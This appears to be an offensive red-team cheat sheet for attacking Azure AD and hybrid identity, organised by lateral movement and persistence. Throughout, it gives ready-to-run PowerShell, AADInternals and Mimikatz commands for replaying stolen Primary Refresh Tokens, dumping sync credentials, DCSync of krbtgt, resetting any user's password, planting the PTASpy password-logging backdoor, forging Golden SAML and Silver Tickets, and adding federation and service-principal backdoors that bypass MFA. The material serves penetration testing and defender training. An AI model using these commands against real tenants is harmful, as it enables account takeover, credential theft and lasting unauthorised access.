Alt text

  • Lateral Movement
    • Pass-the-PRT
    • Pass-the-Certificate
    • Runbooks
    • Abusing CI/CD pipeline
    • Application Proxy
    • Hybrid Identity
    • Across Tenant
    • cloud to on-prem
    • on-prem to cloud
  • Persistence techniques
    • Abuse of Hybrid Identity
    • persistence on Azure resources
    • Golden SAML
    • Skeleton key

Lateral Movement

Azure VMs

User Data

Scripts or any other data that can be inserted on an Azure VM at time of provision or later.

Any application on the virtual machine can access the user data from the Azure Instance Metadata Service (IMDS) after provision.

User data is:

– Persistent across reboots
– Can be retrieved and updated without affecting the VM
– Not encrypted and any process on the VM can access the data!
– Should be base64 encoded and cannot be more than 64KB
  • Despite clear warning in the documentation, a lot of sensitive information can be found in user data.
  • Examples are PowerShell scripts for domain join operations, post-provisioning configuration and management, on-boarding agents, scripts used by infrastructure automation tools etc.
  • It is also possible to modify user data with permissions Microsoft.Compute/virtualMachines/write on the target VM.

Any automation or scheduled task reading commands from user data can be abused!

Modification of user data shows up in VM Activity Logs but doesn’t show what change was done.

Retrieve user data:

$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

Modify user data:

$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("whoami"))
$accessToken = (Get-AzAccessToken).Token
$Url = "https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/jumpvm?api-version=2021-07-01"
$body = @{
    location = "Germany West Central"
    properties = @{
        userData = "$data"
    }
} | ConvertTo-Json -Depth 4
$headers = @{
    Authorization = "Bearer $accessToken"
}

# Execute Rest API Call:
$Results = Invoke-RestMethod -Method Put -Uri $Url -Body $body -Headers $headers -ContentType 'application/json'

Custom Script Extension

OMIGOD - CVE-2021-38647

Extensions are “small applications” used to provide post deployment configuration and other management tasks

  • Custom Script Extension is used to run scripts on Azure VMs.
  • Scripts can be inline, fetched from a storage blob (needs managed identity) or can be downloaded.
  • The script is executed with SYSTEM privileges.
  • Can be deployed to a running VM.
  • Only one extension can be added to a VM at a time. So it is not possible to add multiple custom script extensions to a single VM.

Following permissions are required:

Permission Purpose
Microsoft.Compute/virtualMachines/extensions/write Required to create custom script extensions
Microsoft.Compute/virtualMachines/extensions/read Needed to read the output of the extensions

The execution of script takes place almost immediately

Azure AD Devices

Device Identity Type Ownership Management Level Supported Devices
Azure AD joined Organization owned Heavily managed using Intune or Configuration Manager Windows 11, Windows 10, Server 2019 running on Azure
Azure AD registered/workplace joined User owned (BYOD) or organization owned Lightly managed Windows 10 or newer, macOS, Ubuntu, mobile devices
Hybrid Azure AD joined Organization owned Joined to on-prem AD and registered with Azure AD All supported Windows Desktop and Server versions

Azure AD Joined Machines

When a machine is joined to Azure AD, the following users/roles are made members of the local administrators group for management:

  • Global Administrators
  • Azure AD Joined Device Local Administrator
  • User who joined the machine to Azure

Other Azure users can also be added to the local administrators group of Azure AD joined machines.

For more details and in-depth analysis, you can refer to the Romhack Dirkjan PDF.

Primary Refresh Token (PRT)

Refresh tokens can be used to request new access tokens for a particular application. The Primary Refresh Token (PRT) is a special refresh token used for single sign-on (SSO).

  • Usage: It can be used to obtain access and refresh tokens for any application.
  • Device Specific: Issued to a user for a specific device.
  • Validity: Valid for 90 days and is continuously renewed.
  • Caching: CloudAP SSP requests and caches PRT on a device.
  • MFA Integration: If PRT is MFA-based (e.g., Windows Hello or Windows Account Manager), then the claim is transferred to app tokens to prevent MFA challenges for every application.
  • Historical Context: Before a fix in August 2021, PRT always had MFA claims.

Extracting Primary Refresh Token (PRT)

If we compromise an Azure AD joined (or Hybrid joined) machine, it is possible to extract the PRT and other keys for a user. For Azure AD Registered machines, a PRT is issued if a user has added a secondary work account to the device.

Key Points:

  • Compromise Azure AD Joined Machine: Possible to extract PRT and keys.
  • Compromise Hybrid Joined Machine: Possible to extract PRT and keys.
  • Azure AD Registered Machine: PRT is issued if a secondary work account is added.

For more details, you can refer to the official Microsoft documentation.

Pass-the-PRT

If we have access to a PRT, it is possible to request access tokens for any application.

Key Points:

  • Access Tokens: With a PRT, you can request access tokens for any application.
  • Chrome Usage: Chrome uses BrowserCore.exe to utilize PRT and request a PRT cookie for an SSO experience.
  • PRT Cookie: The PRT cookie (x-ms-RefreshTokenCredential) can be used in a browser to access any application as the user whose PRT we have.
$TenantId = "<tenant id>"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
    "URI" = $URL
    "Method" = "POST"
}
$Body = @{
    "grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce

Explanation:

  • $TenantId: This variable holds the Tenant ID for your Azure AD.
  • $URL: This variable constructs the URL for the OAuth2 token request using the Tenant ID.
  • $Params: This has the URI and the method (POST) to be used in the request.
  • $Body: This contains the body of the POST request, specifying the grant type as srv_challenge.
  • Invoke-RestMethod: This cmdlet sends the POST request to the specified URL with the provided parameters and body.
  • $Result.Nonce: This retrieves the nonce from the response.

The nonce is used for request validation in Azure AD to help extract the PRT.

To extract the Primary Refresh Token (PRT) from a session of the target Azure AD user, you can use various tools:

  1. ROADToken:
    C:\AzAD\Tools\ROADToken.exe <nonce>
    

    Replace nonce with the nonce obtained from the previous PowerShell script.

  2. AADInternals:
    Get-AADIntUserPRTToken
    
  3. Mimikatz or pypykatz: Mimikatz and its variants can also be used to extract the PRT and other secrets like the Session Key and Clear Key.

To utilize the PRT cookie in Chrome web browser, follow these steps:

  1. Open Chrome in Incognito mode.
  2. Go to Microsoft Login.srf
  3. Press F12 to open Chrome Developer Tools.
  4. Navigate to the Application tab.
  5. In the “Cookies” section, clear all cookies.
  6. Add a new cookie named x-ms-RefreshTokenCredential for Login.MicrosoftOnline
  7. Set the value of the cookie to the one retrieved from AADInternals.
  8. Mark the cookie as HTTPOnly and Secure.
  9. Visit Microsoft Login.srf again.

By following these steps, you will gain access as the user associated with the PRT. Keep in mind that while location-based Conditional Access Policies may block Pass-the-PRT attacks, policies that require compliant and/or Azure AD joined devices can be bypassed.

Device Management - Intune

Intune is a Mobile Device Management (MDM) and Mobile Application Management (MAM) service provided by Microsoft. It requires an Enterprise Mobility + Security E5 license for full functionality.

To fully manage devices using Intune, they need to be enrolled in the service. Enrolled devices, which are marked as IsCompliant or have Compliant set to Yes in the Azure Portal, enable various features such as:

  • Access control using Conditional Access Policies
  • Control over installed applications
  • Management of access to information
  • Setup of threat protection agents
  • And more.

Cloud to On-Prem

Using the Endpoint Manager, a user with Global Administrator or Intune Administrator role can execute PowerShell scripts on an enrolled Windows device.

The script runs with the privileges of SYSTEM on the device. However, the user does not get to see the script output, and the script does not run again if there is no change detected.

According to the documentation, the script execution is scheduled to occur every one hour, but in practice, the timing may vary.

Dynamic Groups

We can create rules based on user or device properties to automatically join them to a dynamic group.

  • For example, an organization may add users to a particular group based on their userPrincipalName, department, mail, etc.
  • When a group membership rule is applied, all users and device attributes are evaluated for matches.
  • When an attribute changes for a user or device, all dynamic group rules are checked for a match and possible membership changes.
  • No Azure AD roles can be assigned to a dynamic group, but Azure RBAC roles can be assigned.
  • Dynamic groups require an Azure AD Premium P1 license.

Abuse

By default, any user can invite guests in Azure AD.

  • If a dynamic group rule allows adding users based on the attributes that a guest user can modify, it will result in abuse of this feature.
  • There are two ways the rules can be abused:
    • Before joining a tenant as guest: If we can enumerate that a property, say mail, is used in a rule, we can invite a guest with the email ID that matches the rule.
    • After joining a tenant as guest: A guest user can ‘manage their own profile’, that is, they can modify manager and alternate email. We can abuse a rule that matches on Manager (Direct Reports for {objectID_of_manager}) or alternative email (user.otherMails -any (_ -contains “string”)).

Application Proxy

Application Proxy allows access to on-prem web applications after sign-in to Azure AD.

Components:

  1. Endpoint:
    • This is the external URL that users browse to access the on-prem application.
    • External users must authenticate to Azure AD.
  2. Application Proxy Service:
    • This service runs in the cloud and passes the token provided by Azure AD to the on-prem connector.
  3. Application Proxy Connector:
    • This is an agent that runs on the on-prem infrastructure.
    • It acts as a communication agent between the cloud proxy service and the on-prem application.
    • It also communicates with the on-prem AD in case of SSO.
  4. On-prem Application:
    • The application that is exposed using Application Proxy.

Alt text

Abuse

Compared to directly exposing an on-prem app, Application Proxy provides additional security:

  • Authentication handled by Azure AD
  • Conditional Access policies

However, it does NOT help if the on-prem application has code or deployment-related vulnerabilities.

Cloud to On-Prem

We can enumerate the applications that have application proxy configured using the Azure AD module (this may take a few minutes to complete):

Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

Get the Service Principal (Enterprise Application):

Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}

To find users and groups assigned to the application:

. C:\AzAD\Tools\Get-ApplicationProxyAssignedUsersAndGroups.ps1

Pass the ObjectID of the Service Principal to it:

Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ec350d24-e4e4-4033-ad3f-bf60395f0362

Hybrid Identity

Organizations have resources, devices and applications both on-premises and in the cloud

Azure AD Connect

An on-premises AD can be integrated with Azure AD using Azure AD Connect with the following methods. Every method supports Single Sign-on (SSO):

  • Password Hash Sync (PHS)
  • Pass-Through Authentication (PTA)
  • Federation

At least user synchronization is done, and an account MSOL_Installation-Identifier is created on the on-prem AD.

PHS

Alt text

  • It synchronizes users and a hash of their password hashes (not clear-text or original hashes) from on-prem AD to Azure AD.
  • The simplest and most popular method for getting a hybrid identity.
  • PHS is required for features like Identity Protection and AAD Domain Services.
  • Hash synchronization takes place every two minutes.
  • When a user tries to access any Azure resource, the authentication takes place on Azure AD.
  • Built-in security groups are not synced.
  • By default, password expiry and account expiry are not reflected in Azure AD. That means a user whose on-prem password is expired (not changed) can continue to access Azure resources using the old password.
Abuse

When PHS is configured:

  • An account with the name MSOL_<installationID> is automatically created in on-prem AD. This account has replication (DCSync) permissions in the on-prem AD.
  • An account Sync_<name of on-prem ADConnect Server_installationID> is created in Azure AD. This account can reset the password of ANY user (synced or cloud only) in Azure AD.
  • Passwords for both accounts are stored in the SQL server on the server where Azure AD Connect is installed, and it is possible to extract them in clear-text if you have admin privileges on the server.

You can enumerate the server where Azure AD Connect is installed using the following on-prem enumeration:

Using the ActiveDirectory module:

Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl

Or from Azure AD (below command uses the Azure AD module):

Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

AFTER THE SERVER IS COMPROMISSED

Extract credentials with AADInternals Module:

Get-AADIntSyncCredentials

Using the credentials of the MSOL_* account, run DCSync against the on-prem AD:

runas /netonly /user:domain.corp\MSOL_782bef6aa0a9 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.corp /dc:dc.domain.corp"'

ON-PREM TO CLOUD

Using the credentials of the Sync_* account, you can reset the password for any user, including Global Administrators and even the user who created the tenant.

$passwd = ConvertTo-SecureString '<password>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("Sync_DEFENG-ADCNCT_782bef6aa0a9@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache

Next, enumerate the Global Admins:

Get-AADIntGlobalAdmins

To reset the password of an on-prem user that is synced to Azure AD, we need the Immutable Id (Unique Identifier derived from on-prem GUID) for the user:

Get-AADIntUser -UserPrincipalName onpremadmin@tenant.onmicrosoft.com | select ImmutableId

Finally, reset the user’s password:

Set-AADIntUserPassword -SourceAnchor "E2gG19HA4EaDe0+3LkcS5g==" -Password "Password123" -Verbose

Access any Azure AD resource (like Azure portal) using the new password. For on-prem resources, the old password can be used.

To reset the password of a cloud-only user, we need their CloudAnchor, which can be calculated from their cloud ObjectID:

Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

The CloudAnchor is of the format USER_ObjectID

Finally, reset the user’s password:

Set-AADIntUserPassword -CloudAnchor "User_10caa362-7d18-48c9-a45b-9c3a78f3a96b" -Password "Password#12321" -Verbose

You can now access any Azure AD resource (like Azure portal) using the new password.

PTA

Alt text

In PTA (Pass-Through Authentication), no password hash synchronization of any form occurs in the cloud. However, identity synchronization still takes place.

PTA is useful for enforcing on-premises password policies because authentication is validated on-premises. Communication with the cloud is facilitated by an authentication agent rather than directly with the on-premises domain controller.

Communication in PTA is limited to outbound traffic on Ports 80 and 443 from the authentication agent to Azure AD.

Abuse

PTA Abuse

If the Authentication Agent is compromised, it can verify authentications for any synced user, even if the password provided is incorrect. This means that with just a valid userPrincipalName, any password can be used for authentication—an exploit akin to a skeleton key attack for Azure AD.

Alternatively, compromising a Global Administrator allows for the installation of an authentication agent in an attacker’s infrastructure. With this agent, all login attempts can be authorized, providing unauthorized access to Azure AD resources.

ON-PREM TO CLOUD

Once administrator access to an Azure AD Connect server running the Pass-Through Authentication (PTA) agent is obtained, the following command from AADInternals can install a backdoor (Administrator privileges and VC++ required):

Install-AADIntPTASpy

After installing the backdoor, any user synced from on-premises can authenticate without requiring knowledge of their correct password. Additionally, it’s possible to view the correct passwords of on-premises users authenticating in the cloud using the command:

Get-AADIntPTASpyLog -DecodePasswords

By default, the DLL used for injection and passwords are stored in a hidden directory at C:\PTASpy

CLOUD TO ON-PREM

We can register a new PTA agent after getting GA privileges by setting it on an attacker controlled machine. Once the agent is setup, we can repeat the previous steps

Federation

Alt text

  • Federation establishes a trust relationship between unrelated parties, such as the on-prem AD and Azure AD.
  • Authentication in Federation occurs exclusively within the on-premises environment, enabling users to experience Single Sign-On (SSO) across all trusted environments.
  • Cloud applications can be accessed by users utilizing their on-premises credentials.

In any federation setup, there are three parties involved:

  • User or Client
  • Identity Provider (IdP)
  • Service Provider (SP)

The identity provider authenticates the user, after which the user can access a service on the service provider. Security Assertion Markup Language (SAML) is employed to exchange all authentication and authorization information between the providers.

Alt text

ADFS

AD FS is a claims-based identity model

  • A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
  • The ImmuatbleID is stored on-prem as ms-DS-ConsistencyGuid for the user and/or can be derived from the GUID of the user.
Abuse

In ADFS, the SAML Response is signed by a token-signing certificate.

  • If this certificate is compromised, it becomes possible to authenticate to Azure AD as any user within Azure AD.
  • Similar to our PTA abuse scenario, actions such as password changes for a user or MFA won’t have any effect because we’re forging the authentication response.
  • The certificate can be extracted from the ADFS server with DA privileges and subsequently used from any internet-connected machine.

This is the essence of the Golden SAML attack.

Golden SAML

On-Prem to Cloud

From any on-prem machine as a normal domain user, get the ImmutableID of the target user:

[System.Convert]::ToBase64String((Get-ADUser -Identity onpremuser | select -ExpandProperty ObjectGUID).tobytearray())

On AD FS server (as administrator):

Get-AdfsProperties | select identifier

Check the IssuerURI from Azure AD too (Use MSOL module and need GA privileges):

Get-MsolDomainFederationSettings -DomainName domain.com | select IssuerUri

[Note] When setting up the AD FS using Azure AD Connect, there is a difference between IssuerURI on the ADFS server and Azure AD. Use the one from Azure AD.

With DA privileges on-prem, we can extract the ADFS token signing certificate from the ADFS server using AADInternals:

Export-AADIntADFSSigningCertificate

Use the below command from AADInternals to access cloud apps as the user whose immutableID is specified:

Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://domain.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

With DA privileges on-prem, it is possible to create ImmutableID of cloud-only users with access to Azure AD Connect Sync credentials!

  1. Create a realistic ImmutableID and set it for a cloud-only user:
    [System.Convert]::ToBase64String((New-Guid).tobytearray())
    Set-AADIntAzureADObject -CloudAnchor "User_594e67c3-c39b-41bb-ac50-cd8cd8bb780f" -SourceAnchor "pwrtlmsicU+5tgCUgHx2tA=="
    
  2. Using AADInternals, export the token signing certificate:
    Export-AADIntADFSSigningCertificate
    
  3. Use the below command from AADInternals to access cloud apps as the user whose ImmutableID is specified:
    Open-AADIntOffice365Portal -ImmutableID pwrtlmsicU+5tgCUgHx2tA== -Issuer http://domain.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
    

Persistence

Hybrid Identity - Seamless SSO

Azure AD Seamless SSO facilitates automatic user sign-in when they are on a domain-joined on-premises machine, eliminating the need for passwords to log in to Azure AD and on-premises applications.

  • It is supported by both Password Hash Synchronization (PHS) and Pass-Through Authentication (PTA).
  • When Seamless SSO is enabled, a computer account named AZUREADSSOACC is created in the on-premises Active Directory. This account’s Kerberos decryption key is shared with Azure AD.
  • Azure AD exposes an endpoint Ahttps://autologon.microsoftazuread-sso.com that accepts Kerberos tickets. The domain-joined machine’s browser forwards the tickets to this endpoint for Single Sign-On (SSO).

On-PREM to CLOUD

  • The password or key of the AzureADSSOAcc account does not change.
  • Compromising the NTLM hash of the AzureADSSOAcc machine account allows for the creation of Silver Tickets for any synced on-premises user.

Using Mimikatz, the NTLM hash of the AzureADSSOAcc machine account can be obtained by executing the following command:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.corp /dc:dc.domain.corp"'

With the userPrincipalName (UPN) and SID of the user, a Silver Ticket can be created that can be utilized from any machine connected to the internet.

The following Mimikatz command illustrates this process:

Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin1 /sid:S-1-5-21-938785110-3291390659-577725712 /id:1108 /domain:domain.corp /rc4:<NTLM_hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'

Impersonating o365 Users avec Mimikatz

Hybrid Identity - On-Prem to Cloud

Microsoft recommends joining the Azure AD Connect server to the on-prem AD. This has significant implications for security because it means that any persistence mechanisms used for on-prem (such as Golden Ticket, Silver Ticket, ACL Backdoors, and others) that provide either Domain Admin (DA) on-prem or local admin on the Azure AD Connect server can be leveraged to gain Global Administrator (GA) access on Azure AD on demand.

Exploitation Scenarios

Method Action Impact
Password Hash Synchronization (PHS) Extract credentials. With DA on-prem or local admin on the Azure AD Connect server, extract the credentials of the MSOL account used for PHS.
Pass-Through Authentication (PTA) Install the PTA agent. With DA on-prem or local admin on the Azure AD Connect server, install a malicious PTA agent to verify authentications for any synced user, bypassing the need for the correct password.
Federation Extract the token-signing certificate from the ADFS server. With DA on-prem, extract the ADFS token-signing certificate, allowing the creation of valid SAML tokens to authenticate as any user in Azure AD.

Federation - Trusted Domain

Backdoor Access with Global Administrator Privileges

If we have Global Administrator (GA) privileges on a tenant, we can add a new domain (must be verified), configure its authentication type to Federated, and configure the domain to trust a specific certificate (any.sts in the below command) and issuer.

Using AADInternals:

ConvertTo-AADIntBackdoor -DomainName domain.com

Get the ImmutableID of the user that we want to impersonate. Using the Msol module:

Get-MsolUser | select userPrincipalName,ImmutableID

Access any cloud app as the user:

Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true

Federation - Token Signing Certificate

With Domain Admin (DA) privileges on an on-prem AD, it is possible to create and import new Token Signing and Token Decryption certificates that have a very long validity. This allows us to log in as any user whose ImmutableID we know.

  1. Run the below command as DA on the ADFS server(s) to create new certificates (default password ‘AADInternals’), add them to ADFS, disable auto rollover, and restart the service:
    New-AADIntADFSSelfSignedCertificates
    
  2. Update the certificate information with Azure AD:
    Update-AADIntADFSFederationSettings -Domain domain.com
    

Storage Account Access Keys

keys provide root equivalent privileges on a storage account.

  • There are two access keys, and they are NOT rotated automatically (unless a Key Vault is managing the keys).
  • This provides persistent access to the storage account.
  • Using the access keys, we can also generate SAS (Shared Access Signature) URLs, including offline minting.

Applications and Service Principals

Azure AD Enterprise Applications (service principals) and App Registrations (applications) can be used for persistence.

  • With privileges of Application Administrator, GA, or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application.
  • By targeting an application with high permissions, this becomes a very useful persistence mechanism.

It also allows bypassing MFA!

  • We can also add a new application that has high permissions and then use that for persistence.
  • If we have GA privileges, we can create an application with the Privileged authentication administrator role - that allows to reset password of Global Administrators

Sign in as a service principal using Az PowerShell (Use the application ID as the username, and the secret as password):

$passwd = ConvertTo-SecureString "secret" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant "tenant ID"

For certificate-based authentication:

Connect-AzAccount -ServicePrincipal -Tenant "<TenantId>" -CertificateThumbprint "<Thumbprint>" -ApplicationId "<ApplicationId>"

We can also use az cli to sign in as a service principal.

  • By default, any user can register an application in Azure AD.
  • We can register an application (only for the target tenant) that needs high impact permissions with admin consent - like sending mail on a user’s behalf, role management, etc.
  • This will allow us to execute phishing attacks that would be very fruitful in case of success.

Azure VMs and NSGs

  • OS level persistence on an Azure VM where we have remote access is very useful.
  • Azure VMs also support managed identity so persistence on any such VM will allow us access to additional Azure resources.
  • We can also create a snapshot of the disk attached to a running VM. This can be used to extract secrets stored on the disk (like SAM hive for Windows).
  • It is also possible to attach a modified/tampered disk to a turned-off VM. For example, add a local administrator!
  • Couple this with modification of NSGs to allow access from IPs that we control!

Custom Azure AD Roles

  • If we have GA in a tenant, we can modify a custom role and assign that to a user that we control.
  • Take a look at the permissions of the built-in administrative roles, we can pick individual actions. It is always helpful to go for minimal privileges. Permissions Reference
  • For example, Actions allowed to Application Developer are good enough for a low-privilege persistence as they allow application registration even if - “Users can register applications” setting is set to No

Deployment Modification

  • If we have persistent access to external resources like GitHub repos that are a part of deployment chain, it will be possible to persist in the target tenant.
  • Often, a GitHub account would not have the same level of security and monitoring compared to an Azure AD account with similar privileges!
  • This is just an example, deployment modification has a huge attack surface!